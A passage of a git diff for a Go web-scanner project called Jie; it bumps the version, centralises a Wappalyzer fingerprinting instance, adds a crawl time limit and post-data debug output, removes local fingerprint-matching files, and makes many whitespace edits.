diff --git a/README.md b/README.md index ae0341c..ff60922 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ Release - Release + Release GitHub Repo stars diff --git a/README_CN.md b/README_CN.md index ef78ee1..360ec2f 100644 --- a/README_CN.md +++ b/README_CN.md @@ -7,7 +7,7 @@ Release - Release + Release GitHub Repo stars diff --git a/conf/banner.go b/conf/banner.go index a0e1482..af91635 100644 --- a/conf/banner.go +++ b/conf/banner.go @@ -17,4 +17,4 @@ var Banner = ` const Website = "https://github.com/yhy0/Jie" -const Version = "1.1.1" +const Version = "1.2.0" diff --git a/conf/config.go b/conf/config.go index dfe4e5c..78b67f8 100644 --- a/conf/config.go +++ b/conf/config.go @@ -2,6 +2,7 @@ package conf import ( folderutil "github.com/projectdiscovery/utils/folder" + wappalyzer "github.com/projectdiscovery/wappalyzergo" "path/filepath" ) @@ -20,6 +21,8 @@ var NoProgressBar bool // FilePath 一些配置文件的默认位置 var FilePath string +var Wappalyzer *wappalyzer.Wappalyze + func init() { homedir := folderutil.HomeDirOrDefault("") diff --git a/conf/envCheck.go b/conf/envCheck.go index 8e2d554..1b981ce 100644 --- a/conf/envCheck.go +++ b/conf/envCheck.go @@ -3,6 +3,7 @@ package conf import ( "fmt" "github.com/go-rod/rod/lib/launcher" + wappalyzer "github.com/projectdiscovery/wappalyzergo" "os" "os/exec" ) @@ -16,6 +17,11 @@ import ( var ChromePath string func Preparations() { + if Wappalyzer == nil { + // wappalyzergo 中已经处理了 syscall.Dup2(int(devNull.Fd()), int(os.Stderr.Fd())) ,单元测试也是 ok 的,这里为啥还会有 + Wappalyzer, _ = wappalyzer.New() + } + if !GlobalConfig.NoPortScan { // 不进行端口扫描时,不检查这些 Plugin["portScan"] = false // 检查 nmap 是否已安装 diff --git a/crawler/crawlergo/config/config_test.go b/crawler/crawlergo/config/config_test.go index 46b5e3f..bc2e107 100644 --- a/crawler/crawlergo/config/config_test.go +++ b/crawler/crawlergo/config/config_test.go @@ -3,14 +3,14 @@ package config_test import ( "github.com/yhy0/Jie/crawler/crawlergo/config" "testing" - + "github.com/stretchr/testify/assert" ) func TestStaticSuffix(t *testing.T) { assert.Equal(t, true, config.StaticSuffixSet.Contains("png")) assert.Equal(t, false, config.StaticSuffixSet.Contains("demo")) - + assert.Equal(t, true, config.ScriptSuffixSet.Contains("asp")) assert.Equal(t, false, config.ScriptSuffixSet.Contains("demo")) } diff --git a/crawler/crawlergo/domain_collect.go b/crawler/crawlergo/domain_collect.go index f469d16..d38dfed 100755 --- a/crawler/crawlergo/domain_collect.go +++ b/crawler/crawlergo/domain_collect.go @@ -3,7 +3,7 @@ package crawlergo import ( "github.com/yhy0/Jie/crawler/crawlergo/model" "strings" - + mapset "github.com/deckarep/golang-set/v2" ) diff --git a/crawler/crawlergo/engine/after_dom_tasks.go b/crawler/crawlergo/engine/after_dom_tasks.go index 78dc207..05d186b 100755 --- a/crawler/crawlergo/engine/after_dom_tasks.go +++ b/crawler/crawlergo/engine/after_dom_tasks.go @@ -8,7 +8,7 @@ import ( "os" "strings" "time" - + "github.com/chromedp/cdproto/cdp" "github.com/chromedp/chromedp" ) @@ -16,15 +16,15 @@ import ( // AfterDOMRun 在DOMContentLoaded完成后执行 func (tab *Tab) AfterDOMRun() { defer tab.WG.Done() - + // logging.Logger.Debug("afterDOMRun start") - + // 获取当前body节点的nodeId 用于之后查找子节点 if !tab.getBodyNodeId() { // logging.Logger.Debug("no body document NodeID, exit.") return } - + tab.domWG.Add(2) go tab.fillForm() go tab.setObserverJS() @@ -62,11 +62,11 @@ func (tab *Tab) fillForm() { f := FillForm{ tab: tab, } - + go f.fillInput() go f.fillMultiSelect() go f.fillTextarea() - + tab.fillFormWG.Wait() // logging.Logger.Debug("fillForm end") } @@ -89,7 +89,7 @@ func (f *FillForm) fillInput() { defer f.tab.fillFormWG.Done() var nodes []*cdp.Node ctx := f.tab.GetExecutor() - + tCtx, cancel := context.WithTimeout(ctx, time.Second*2) defer cancel() // 首先判断input标签是否存在,减少等待时间 提前退出 @@ -103,13 +103,13 @@ func (f *FillForm) fillInput() { } // 获取所有的input标签 err := chromedp.Nodes(`input`, &nodes, chromedp.ByQueryAll).Do(tCtx) - + if err != nil { logging.Logger.Debug("get all input element err") logging.Logger.Debug(err) return } - + // 找出 type 为空 或者 type=text for _, node := range nodes { // 兜底超时 @@ -151,7 +151,7 @@ func (f *FillForm) fillTextarea() { tCtx, cancel := context.WithTimeout(ctx, time.Second*2) defer cancel() value := f.GetMatchInputText("other") - + textareaNodes, textareaErr := f.tab.GetNodeIDs(`textarea`) if textareaErr != nil || len(textareaNodes) == 0 { // logging.Logger.Debug("fillTextarea: get textarea element err") @@ -160,7 +160,7 @@ func (f *FillForm) fillTextarea() { } return } - + _ = chromedp.SendKeys(textareaNodes, value, chromedp.ByNodeID).Do(tCtx) } @@ -188,7 +188,7 @@ func (f *FillForm) GetMatchInputText(name string) string { return value } } - + name = strings.ToLower(name) for key, item := range config.InputTextMap { for _, keyword := range item["keyword"].([]string) { diff --git a/crawler/crawlergo/engine/after_loaded_tasks.go b/crawler/crawlergo/engine/after_loaded_tasks.go index 9c2fa9c..417d381 100755 --- a/crawler/crawlergo/engine/after_loaded_tasks.go +++ b/crawler/crawlergo/engine/after_loaded_tasks.go @@ -8,7 +8,7 @@ import ( "github.com/yhy0/Jie/crawler/crawlergo/tools" "github.com/yhy0/logging" "time" - + "github.com/chromedp/cdproto/cdp" "github.com/chromedp/chromedp" ) @@ -27,11 +27,11 @@ func (tab *Tab) AfterLoadedRun() { tab.formSubmitWG.Add(2) tab.loadedWG.Add(3) tab.removeLis.Add(1) - + go tab.formSubmit() tab.formSubmitWG.Wait() // logging.Logger.Debug("formSubmit end") - + if tab.config.EventTriggerMode == config.EventTriggerAsync { go tab.triggerJavascriptProtocol() go tab.triggerInlineEvents() @@ -44,10 +44,10 @@ func (tab *Tab) AfterLoadedRun() { time.Sleep(tab.config.EventTriggerInterval) tab.triggerJavascriptProtocol() } - + // 事件触发之后 需要等待一点时间让浏览器成功发出ajax请求 更新DOM time.Sleep(tab.config.BeforeExitDelay) - + go tab.RemoveDOMListener() tab.removeLis.Wait() // logging.Logger.Debug("afterLoadedRun end") @@ -58,12 +58,12 @@ func (tab *Tab) AfterLoadedRun() { 自动化点击提交表单 */ func (tab *Tab) formSubmit() { - + // logging.Logger.Debug("formSubmit start") - + // 首先对form表单设置target tab.setFormToFrame() - + // 接下来尝试三种方式提交表单 go tab.clickSubmit() go tab.clickAllButton() @@ -77,7 +77,7 @@ func (tab *Tab) setFormToFrame() { // 首先新建 frame nameStr := tools.RandSeq(8) tab.Evaluate(fmt.Sprintf(js.NewFrameTemplate, nameStr, nameStr)) - + // 接下来将所有的 form 节点target都指向它 ctx := tab.GetExecutor() formNodes, formErr := tab.GetNodeIDs(`form`) @@ -99,10 +99,10 @@ func (tab *Tab) setFormToFrame() { */ func (tab *Tab) clickSubmit() { defer tab.formSubmitWG.Done() - + // 首先点击按钮 type=submit ctx := tab.GetExecutor() - + // 获取所有的form节点 直接执行submit formNodes, formErr := tab.GetNodeIDs(`form`) if formErr != nil || len(formNodes) == 0 { @@ -115,7 +115,7 @@ func (tab *Tab) clickSubmit() { tCtx1, cancel1 := context.WithTimeout(ctx, time.Second*2) defer cancel1() _ = chromedp.Submit(formNodes, chromedp.ByNodeID).Do(tCtx1) - + // 获取所有的input标签 inputNodes, inputErr := tab.GetNodeIDs(`form input[type=submit]`) if inputErr != nil || len(inputNodes) == 0 { @@ -136,7 +136,7 @@ click all button */ func (tab *Tab) clickAllButton() { defer tab.formSubmitWG.Done() - + // 获取所有的form中的button节点 ctx := tab.GetExecutor() // 获取所有的button标签 @@ -151,7 +151,7 @@ func (tab *Tab) clickAllButton() { tCtx, cancel1 := context.WithTimeout(ctx, time.Second*2) defer cancel1() _ = chromedp.Click(btnNodeIDs, chromedp.ByNodeID).Do(tCtx) - + // 使用JS的click方法进行点击 var btnNodes []*cdp.Node tCtx2, cancel2 := context.WithTimeout(ctx, time.Second*2) diff --git a/crawler/crawlergo/engine/browser.go b/crawler/crawlergo/engine/browser.go index 1288041..87e5bfe 100755 --- a/crawler/crawlergo/engine/browser.go +++ b/crawler/crawlergo/engine/browser.go @@ -6,7 +6,7 @@ import ( "log" "sync" "time" - + "github.com/chromedp/cdproto/browser" "github.com/chromedp/chromedp" ) @@ -33,7 +33,7 @@ func InitBrowser(proxy string, noHeadless bool) *Browser { chromedp.Flag("no-sandbox", true), // 忽略证书错误 chromedp.Flag("ignore-certificate-errors", true), - + chromedp.Flag("disable-images", true), // chromedp.Flag("disable-web-security", true), @@ -41,20 +41,20 @@ func InitBrowser(proxy string, noHeadless bool) *Browser { chromedp.Flag("disable-xss-auditor", true), // chromedp.Flag("disable-setuid-sandbox", true), - + chromedp.Flag("allow-running-insecure-content", true), - + chromedp.Flag("disable-webgl", true), - + chromedp.Flag("disable-popup-blocking", true), - + chromedp.WindowSize(1920, 1080), ) // 设置浏览器代理 if proxy != "" { opts = append(opts, chromedp.ProxyServer(proxy)) } - + allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), opts...) bctx, _ := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf), @@ -68,7 +68,7 @@ func InitBrowser(proxy string, noHeadless bool) *Browser { } bro.Cancel = &cancel bro.Ctx = &bctx - + return &bro } @@ -78,7 +78,7 @@ func ConnectBrowser(wsUrl string, extraHeaders map[string]interface{}) *Browser bctx, _ := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf), ) - + err := chromedp.Run(bctx) if err != nil { // couldn't connect to the remote browser, need to exit @@ -87,7 +87,7 @@ func ConnectBrowser(wsUrl string, extraHeaders map[string]interface{}) *Browser bro.Cancel = &cancel bro.Ctx = &bctx bro.ExtraHeaders = extraHeaders - + return &bro } diff --git a/crawler/crawlergo/engine/intercept_request.go b/crawler/crawlergo/engine/intercept_request.go index 1b868de..b002086 100755 --- a/crawler/crawlergo/engine/intercept_request.go +++ b/crawler/crawlergo/engine/intercept_request.go @@ -4,6 +4,7 @@ import ( "bufio" "context" "encoding/base64" + "fmt" regexp "github.com/wasilibs/go-re2" "github.com/yhy0/Jie/crawler/crawlergo/config" "github.com/yhy0/Jie/crawler/crawlergo/model" @@ -33,9 +34,22 @@ func (tab *Tab) InterceptRequest(v *fetch.EventRequestPaused) { _ = fetch.ContinueRequest(v.RequestID).Do(ctx) return } + var postData string + if _req.HasPostData && len(_req.PostDataEntries) > 0 { + for p := range _req.PostDataEntries { + postData += _req.PostDataEntries[p].Bytes + } + } + fmt.Println("Post data ", postData) + data, err := base64.StdEncoding.DecodeString(postData) + if err != nil { + logging.Logger.Errorln(err) + } + fmt.Println("Post data base64 ", data) + _option := model.Options{ Headers: _req.Headers, - PostData: _req.PostData, + PostData: postData, } req := model.GetRequest(_req.Method, url, _option) diff --git a/crawler/crawlergo/filter/simple_filter.go b/crawler/crawlergo/filter/simple_filter.go index a1fc6ff..42ecb01 100755 --- a/crawler/crawlergo/filter/simple_filter.go +++ b/crawler/crawlergo/filter/simple_filter.go @@ -4,7 +4,7 @@ import ( "github.com/yhy0/Jie/crawler/crawlergo/config" "github.com/yhy0/Jie/crawler/crawlergo/model" "strings" - + mapset "github.com/deckarep/golang-set/v2" ) @@ -16,7 +16,7 @@ type SimpleFilter struct { func NewSimpleFilter(host string) *SimpleFilter { staticSuffixSet := config.StaticSuffixSet.Clone() - + for _, suffix := range []string{"js", "css", "json"} { staticSuffixSet.Add(suffix) } @@ -66,7 +66,7 @@ func (s *SimpleFilter) StaticFilter(req *model.Request) bool { s.UniqueSet = mapset.NewSet[string]() } // 首先将slice转换成map - + if req.URL.FileExt() == "" { return false } diff --git a/crawler/crawlergo/filter/smart_filter_test.go b/crawler/crawlergo/filter/smart_filter_test.go index f99a124..2136642 100644 --- a/crawler/crawlergo/filter/smart_filter_test.go +++ b/crawler/crawlergo/filter/smart_filter_test.go @@ -4,7 +4,7 @@ import ( "github.com/yhy0/Jie/crawler/crawlergo/config" model2 "github.com/yhy0/Jie/crawler/crawlergo/model" "testing" - + "github.com/stretchr/testify/assert" ) @@ -13,20 +13,20 @@ var ( // "http://test.nil.local.com/cctv/abcd?keyword=crawlergocrawlergo&end=1", // "http://test.nil.local.com/cctv/abcd?keyword=crawlergocrawlergo&end=1", // } - + fragmentUrls = []string{ // 基准组 "http://testhtml5.vuwm.com/latest#/page/1", "http://testhtml5.vuwm.com/latest#/page/search?keyword=Crawlergo&source=2&demo=1423&c=afa", // 被标记成 {{long}} "http://testhtml5.vuwm.com/latest#/page/search/fasdfsdafsdfsdfsdfasfsfasfafdsafssfasdfsd", - + // 对照组 "http://testhtml5.vuwm.com/latest#/page/2", // 不应该被标记成 {{long}} "http://testhtml5.vuwm.com/latest#/page/search?keyword=CrawlergoCrawlergoCrawlergo&source=1&demo=1255&c=afa", } - + // completeUrls = []string{ // "https://test.local.com:1234/adfatd/123456/sx14xi?user=crawlergo&pwd=fa1424&end=1#/user/info", // } diff --git a/crawler/crawlergo/model/request.go b/crawler/crawlergo/model/request.go index 6bef092..50c9109 100755 --- a/crawler/crawlergo/model/request.go +++ b/crawler/crawlergo/model/request.go @@ -54,14 +54,14 @@ func GetRequest(method string, URL *URL, options ...Options) Request { if option.Headers != nil { req.Headers = option.Headers } - + if option.PostData != "" { req.PostData = option.PostData } } else { req.Headers = map[string]interface{}{} } - + return req } @@ -135,7 +135,7 @@ func (req *Request) PostDataMap() map[string]interface{} { "key": req.PostData, } } - + if strings.HasPrefix(contentType, config.JSON) { var result map[string]interface{} err = json.Unmarshal([]byte(req.PostData), &result) @@ -194,7 +194,7 @@ func (req *Request) getContentType() (string, error) { } else { return "", errors.New("no content-type") } - + for _, ct := range supportContentType { if strings.HasPrefix(contentType, ct) { return contentType, nil diff --git a/crawler/crawlergo/task_main.go b/crawler/crawlergo/task_main.go index 157c6dc..43f55b0 100755 --- a/crawler/crawlergo/task_main.go +++ b/crawler/crawlergo/task_main.go @@ -55,19 +55,19 @@ func NewCrawlerTask(targets []*model.Request, taskConf TaskConfig, onResult OnRe Config: &taskConf, OnResult: onResult, } - + baseFilter := filter.NewSimpleFilter(targets[0].URL.Host) - + if taskConf.FilterMode == config.SmartFilterMode { crawlerTask.filter = filter.NewSmartFilter(baseFilter, false) - + } else if taskConf.FilterMode == config.StrictFilterMode { crawlerTask.filter = filter.NewSmartFilter(baseFilter, true) - + } else { crawlerTask.filter = baseFilter } - + if len(targets) == 1 { _newReq := *targets[0] newReq := &_newReq @@ -81,11 +81,11 @@ func NewCrawlerTask(targets []*model.Request, taskConf TaskConfig, onResult OnRe targets = append(targets, newReq) } crawlerTask.Targets = targets[:] - + for _, req := range targets { req.Source = config.FromTarget } - + // 业务代码与数据代码分离, 初始化一些默认配置 // 使用 function option 和一个代理来初始化 taskConf 的配置 for _, fn := range []TaskConfigOptFunc{ @@ -100,7 +100,7 @@ func NewCrawlerTask(targets []*model.Request, taskConf TaskConfig, onResult OnRe } { fn(&taskConf) } - + if taskConf.ExtraHeadersString != "" { err := json.Unmarshal([]byte(taskConf.ExtraHeadersString), &taskConf.ExtraHeaders) if err != nil { @@ -108,13 +108,13 @@ func NewCrawlerTask(targets []*model.Request, taskConf TaskConfig, onResult OnRe return nil, err } } - + crawlerTask.RootDomain = targets[0].URL.RootDomain() - + // 创建协程池 p, _ := ants.NewPool(taskConf.MaxTabsCount) crawlerTask.Pool = p - + return &crawlerTask, nil } @@ -135,14 +135,14 @@ func (t *CrawlerTask) generateTabTask(req *model.Request) *tabTask { func (t *CrawlerTask) Run() { defer t.Pool.Release() // 释放协程池 defer t.Browser.Close() // 关闭浏览器 - + t.Start = time.Now() if t.Config.PathFromRobots { reqsFromRobots := GetPathsFromRobots(*t.Targets[0]) logging.Logger.Info("get paths from robots.txt: ", len(reqsFromRobots)) t.Targets = append(t.Targets, reqsFromRobots...) } - + if t.Config.FuzzDictPath != "" { if t.Config.PathByFuzz { logging.Logger.Warn("`--fuzz-path` is ignored, using `--fuzz-path-dict` instead") @@ -154,9 +154,9 @@ func (t *CrawlerTask) Run() { logging.Logger.Info("get paths by fuzzing: ", len(reqsByFuzz)) t.Targets = append(t.Targets, reqsByFuzz...) } - + t.Result.AllReqList = t.Targets[:] - + var initTasks []*model.Request for _, req := range t.Targets { if t.filter.DoFilter(req) { @@ -164,29 +164,29 @@ func (t *CrawlerTask) Run() { continue } initTasks = append(initTasks, req) - + // Write the found result to output result := &OutResult{ ReqList: req, } t.OnResult(result) - + t.Result.ReqList = append(t.Result.ReqList, req) } // logging.Logger.Info("filter repeat, target count: ", len(initTasks)) - + for _, req := range initTasks { if !engine.IsIgnoredByKeywordMatch(*req, t.Config.IgnoreKeywords) { t.addTask2Pool(req) } } - + t.taskWG.Wait() - + // 对全部请求进行唯一去重 todoFilterAll := make([]*model.Request, len(t.Result.AllReqList)) copy(todoFilterAll, t.Result.AllReqList) - + t.Result.AllReqList = []*model.Request{} var simpleFilter filter.SimpleFilter for _, req := range todoFilterAll { @@ -194,7 +194,7 @@ func (t *CrawlerTask) Run() { t.Result.AllReqList = append(t.Result.AllReqList, req) } } - + // 子域名 t.Result.SubDomainList = SubDomainCollect(t.Result.AllReqList, t.RootDomain) } @@ -212,13 +212,13 @@ func (t *CrawlerTask) addTask2Pool(req *model.Request) { } else { t.crawledCount += 1 } - + if t.Start.Add(time.Second * time.Duration(t.Config.MaxRunTime)).Before(time.Now()) { t.taskCountLock.Unlock() return } t.taskCountLock.Unlock() - + t.taskWG.Add(1) task := t.generateTabTask(req) go func() { @@ -233,18 +233,18 @@ func (t *CrawlerTask) addTask2Pool(req *model.Request) { // Task 单个运行的tab标签任务,实现了workpool的接口 func (t *tabTask) Task() { defer t.crawlerTask.taskWG.Done() - + // 设置tab超时时间,若设置了程序最大运行时间, tab超时时间和程序剩余时间取小 timeremaining := t.crawlerTask.Start.Add(time.Duration(t.crawlerTask.Config.MaxRunTime) * time.Second).Sub(time.Now()) tabTime := t.crawlerTask.Config.TabRunTimeout if t.crawlerTask.Config.TabRunTimeout > timeremaining { tabTime = timeremaining } - + if tabTime <= 0 { return } - + tab := engine.NewTab(t.browser, *t.req, engine.TabConfig{ TabRunTimeout: tabTime, DomContentLoadedTimeout: t.crawlerTask.Config.DomContentLoadedTimeout, @@ -257,25 +257,25 @@ func (t *tabTask) Task() { CustomFormKeywordValues: t.crawlerTask.Config.CustomFormKeywordValues, }) tab.Start() - + // 收集结果 t.crawlerTask.Result.resultLock.Lock() t.crawlerTask.Result.AllReqList = append(t.crawlerTask.Result.AllReqList, tab.ResultList...) t.crawlerTask.Result.resultLock.Unlock() - + for _, req := range tab.ResultList { if !t.crawlerTask.filter.DoFilter(req) { t.crawlerTask.Result.resultLock.Lock() - + t.crawlerTask.Result.ReqList = append(t.crawlerTask.Result.ReqList, req) // Write the found result to output result := &OutResult{ ReqList: req, } t.crawlerTask.OnResult(result) - + t.crawlerTask.Result.resultLock.Unlock() - + if !engine.IsIgnoredByKeywordMatch(*req, t.crawlerTask.Config.IgnoreKeywords) { t.crawlerTask.addTask2Pool(req) } diff --git a/crawler/crawlergo/taskconfig_test.go b/crawler/crawlergo/taskconfig_test.go index 96c2255..7924413 100644 --- a/crawler/crawlergo/taskconfig_test.go +++ b/crawler/crawlergo/taskconfig_test.go @@ -5,7 +5,7 @@ import ( "github.com/yhy0/Jie/crawler/crawlergo/config" "testing" "time" - + "github.com/stretchr/testify/assert" ) @@ -24,7 +24,7 @@ func TestTaskConfigOptFunc(t *testing.T) { } { fn(&taskConf) } - + // 应该都要等于默认配置 assert.Equal(t, taskConf.TabRunTimeout, config.TabRunTimeout) assert.Equal(t, taskConf.MaxTabsCount, config.MaxTabsCount) @@ -34,10 +34,10 @@ func TestTaskConfigOptFunc(t *testing.T) { assert.Equal(t, taskConf.BeforeExitDelay, config.BeforeExitDelay) assert.Equal(t, taskConf.EventTriggerMode, config.DefaultEventTriggerMode) assert.Equal(t, taskConf.IgnoreKeywords, config.DefaultIgnoreKeywords) - + // 重设超时时间 taskConf.TabRunTimeout = time.Minute * 5 - + // 企图覆盖自定义的时间, 不应该允许, 程序初始化时只能配置一次, 先由用户配置 crawlergo.WithTabRunTimeout(time.Second * 5)(&taskConf) assert.NotEqual(t, taskConf.TabRunTimeout, time.Second*5) diff --git a/crawler/crawlergo/tools/requests/requests.go b/crawler/crawlergo/tools/requests/requests.go index 0339214..7bd515e 100755 --- a/crawler/crawlergo/tools/requests/requests.go +++ b/crawler/crawlergo/tools/requests/requests.go @@ -9,7 +9,7 @@ import ( "net/url" "strings" "time" - + "github.com/pkg/errors" ) @@ -160,7 +160,7 @@ func (sess *session) doRequest(verb string, url string, headers map[string]strin if err != nil { return nil, errors.Wrap(err, "build request error") } - + // 设置headers头 for key, value := range headers { req.Header.Set(key, value) @@ -187,7 +187,7 @@ func (sess *session) doRequest(verb string, url string, headers map[string]strin } // 覆盖Connection头 req.Header.Set("Connection", "close") - + // 设置重试次数 retry := sess.Retry if retry == 0 { @@ -195,7 +195,7 @@ func (sess *session) doRequest(verb string, url string, headers map[string]strin } else if retry == -1 { retry = 0 } - + // 请求 var resp *http.Response for i := 0; i <= retry; i++ { @@ -208,7 +208,7 @@ func (sess *session) doRequest(verb string, url string, headers map[string]strin break } } - + if err != nil { return nil, errors.Wrap(err, "error occurred during request") } @@ -217,6 +217,6 @@ func (sess *session) doRequest(verb string, url string, headers map[string]strin resp.StatusCode = 200 resp.Status = "200 OK" } - + return NewResponse(resp), nil } diff --git a/crawler/katana.go b/crawler/katana.go index 8638440..b14ba2f 100644 --- a/crawler/katana.go +++ b/crawler/katana.go @@ -9,6 +9,7 @@ import ( "github.com/yhy0/Jie/conf" "github.com/yhy0/logging" "math" + "time" ) /** @@ -43,7 +44,9 @@ func Katana(target string, headless bool, show bool, out func(result output.Resu OnResult: out, Headless: headless, Proxy: conf.GlobalConfig.Http.Proxy, + CrawlDuration: 10 * 60 * time.Second, // 一个网站最多爬 10 分钟 ExtensionFilter: ExtensionFilter, + Wappalyzer: conf.Wappalyzer, } if options.Headless { options.ShowBrowser = show @@ -54,7 +57,10 @@ func Katana(target string, headless bool, show bool, out func(result output.Resu if err != nil { logging.Logger.Fatal(err.Error()) } - defer crawlerOptions.Close() + defer func() { + crawlerOptions.Close() + crawlerOptions.RateLimit.Stop() + }() var crawler engine.Engine diff --git a/fingprints/fingprints.go b/fingprints/fingprints.go index 3793447..588a48e 100644 --- a/fingprints/fingprints.go +++ b/fingprints/fingprints.go @@ -1,8 +1,6 @@ package fingprints -import ( - "github.com/yhy0/Jie/fingprints/webserver/wappalyzergo" -) +import "github.com/yhy0/Jie/conf" /** @author: yhy @@ -10,41 +8,35 @@ import ( @desc: 参考 https://github.com/w-digital-scanner/w13scan/tree/master/W13SCAN/fingprints **/ -var wappalyzer *wappalyzergo.Wappalyze - -func init() { - wappalyzer, _ = wappalyzergo.New() -} - func Identify(body []byte, headers map[string][]string) []string { var fingerprints []string // web app 指纹检测 - webapps := wappalyzer.Fingerprint(headers, body) - + webapps := conf.Wappalyzer.Fingerprint(headers, body) + for webapp := range webapps { fingerprints = append(fingerprints, webapp) } - + // web 框架指纹检测 for _, p := range FrameworkPlugins { if p.Fingerprint(string(body), headers) { fingerprints = append(fingerprints, p.Name()) } } - + // 语言指纹检测 for _, p := range ProgramingPlugins { if p.Fingerprint(string(body), headers) { fingerprints = append(fingerprints, p.Name()) } } - + // 系统指纹检测 for _, p := range OsPlugins { if p.Fingerprint(string(body), headers) { fingerprints = append(fingerprints, p.Name()) } } - + return fingerprints } diff --git a/fingprints/plugins.go b/fingprints/plugins.go index 05d088b..25f3ea0 100644 --- a/fingprints/plugins.go +++ b/fingprints/plugins.go @@ -66,6 +66,6 @@ var FrameworkPlugins = [...]Plugin{ &framework.Web2PyPlugin{}, &framework.YiiPlugin{}, &framework.ZendPlugin{}, - + &framework.BeegoPlugin{}, } diff --git a/fingprints/webserver/wappalyzergo/fingerprintHub.go b/fingprints/webserver/wappalyzergo/fingerprintHub.go deleted file mode 100644 index 3cba1e6..0000000 --- a/fingprints/webserver/wappalyzergo/fingerprintHub.go +++ /dev/null @@ -1,133 +0,0 @@ -package wappalyzergo - -import ( - _ "embed" - "encoding/json" - "strings" -) - -/** - @author: yhy - @since: 2023/2/6 - @desc: https://github.com/0x727/FingerprintHub/ - 指纹库是从上面的项目中获取的,感谢作者 -**/ - -//go:embed web_fingerprint_v3.json -var fingerprintHub []byte - -// 自定义的 FingerprintHub 不更改原文件,这样随时从原库里直接复制使用 -// -//go:embed web_fingerprint.json -var fingerprint []byte - -type FingerprintHub struct { - Name string `json:"name"` - Path string `json:"path"` - RequestMethod string `json:"request_method"` - RequestHeaders map[string]string `json:"request_headers"` - RequestData string `json:"request_data"` - StatusCode int `json:"status_code"` - Headers map[string]string `json:"headers"` - Keyword []string `json:"keyword"` - FaviconHash []string `json:"favicon_hash"` - Priority int `json:"priority"` -} - -// LoadFingerprintHubFingers 指纹初始化 -func (s *Wappalyze) LoadFingerprintHubFingers() error { - var fpSlice []FingerprintHub - if err := json.Unmarshal(fingerprintHub, &fpSlice); err != nil { - return err - } - - // 加载自定义的 - var fp []FingerprintHub - if err := json.Unmarshal(fingerprint, &fp); err != nil { - return err - } - - fpSlice = append(fpSlice, fp...) - - s.FingerprintHubMap = make(map[string][]FingerprintHub, len(fpSlice)) - - for _, v := range fpSlice { // 聚合 path - // 将 header 头全部转为小写,防止 写的不规范导致无法匹配 - lowercaseMap := make(map[string]string) - for key, value := range v.Headers { - lowercaseKey := strings.ToLower(key) - lowercaseValue := strings.ToLower(value) - lowercaseMap[lowercaseKey] = lowercaseValue - } - v.Headers = lowercaseMap - - s.FingerprintHubMap[v.Path] = append(s.FingerprintHubMap[v.Path], v) - } - - return nil -} - -func (s *Wappalyze) Identify(headers map[string][]string, body []byte) string { - for _, v := range s.FingerprintHubMap { - for _, fingerPrint := range v { - if matching(headers, body, fingerPrint) { - return fingerPrint.Name - } - } - } - return "" -} - -func matching(headers map[string][]string, body []byte, f FingerprintHub) bool { - // 将 header 头全部转为小写,防止 写的不规范导致无法匹配 - lowercaseMap := make(map[string]string) - for key, value := range headers { - lowercaseKey := strings.ToLower(key) - lowercaseValue := strings.ToLower(strings.Join(value, "")) - lowercaseMap[lowercaseKey] = lowercaseValue - } - - flag := false - hflag := true - if len(f.Headers) > 0 { - hflag = false - for k, v := range f.Headers { - if len(lowercaseMap[k]) <= 0 { - hflag = false - break - } - - if !strings.Contains(lowercaseMap[k], v) { - hflag = false - break - } - hflag = true - } - } - if len(f.Headers) > 0 && hflag { - flag = true - } - - // 多个关键字同时匹配 - kflag := false - if len(f.Keyword) > 0 { - for _, k := range f.Keyword { - if !strings.Contains(string(body), k) { - kflag = false - break - } - kflag = true - } - } - - // 如果 header 和 keyword 同时存在,则同时匹配 - if len(f.Keyword) > 0 && kflag { - flag = true - } - - if flag { - return true - } - - return false -} diff --git a/fingprints/webserver/wappalyzergo/fingerprint_body.go b/fingprints/webserver/wappalyzergo/fingerprint_body.go deleted file mode 100644 index b981f43..0000000 --- a/fingprints/webserver/wappalyzergo/fingerprint_body.go +++ /dev/null @@ -1,156 +0,0 @@ -package wappalyzergo - -import ( - "bytes" - "unsafe" - - "golang.org/x/net/html" -) - -// checkBody checks for fingerprints in the HTML body -func (s *Wappalyze) checkBody(body []byte) []string { - var technologies []string - - bodyString := unsafeToString(body) - - technologies = append( - technologies, - s.fingerprints.matchString(bodyString, htmlPart)..., - ) - - // Tokenize the HTML document and check for fingerprints as required - tokenizer := html.NewTokenizer(bytes.NewReader(body)) - - for { - tt := tokenizer.Next() - switch tt { - case html.ErrorToken: - return technologies - case html.StartTagToken: - token := tokenizer.Token() - switch token.Data { - case "script": - // Check if the script tag has a source file to check - source, found := getScriptSource(token) - if found { - // Check the script tags for script fingerprints - technologies = append( - technologies, - s.fingerprints.matchString(source, scriptPart)..., - ) - continue - } - - // Check the text attribute of the tag for javascript based technologies. - // The next token should be the contents of the script tag - if tokenType := tokenizer.Next(); tokenType != html.TextToken { - continue - } - - // TODO: JS requires a running VM, for checking properties. Only - // possible with headless for now :( - - // data := tokenizer.Token().Data - // technologies = append( - // technologies, - // s.fingerprints.matchString(data, jsPart)..., - // ) - case "meta": - // For meta tag, we are only interested in name and content attributes. - name, content, found := getMetaNameAndContent(token) - if !found { - continue - } - technologies = append( - technologies, - s.fingerprints.matchKeyValueString(name, content, metaPart)..., - ) - } - case html.SelfClosingTagToken: - token := tokenizer.Token() - if token.Data != "meta" { - continue - } - - // Parse the meta tag and check for tech - name, content, found := getMetaNameAndContent(token) - if !found { - continue - } - technologies = append( - technologies, - s.fingerprints.matchKeyValueString(name, content, metaPart)..., - ) - } - } -} - -func (s *Wappalyze) getTitle(body []byte) string { - var title string - - // Tokenize the HTML document and check for fingerprints as required - tokenizer := html.NewTokenizer(bytes.NewReader(body)) - - for { - tt := tokenizer.Next() - switch tt { - case html.ErrorToken: - return title - case html.StartTagToken: - token := tokenizer.Token() - switch token.Data { - case "title": - // Next text token will be the actual title of the page - if 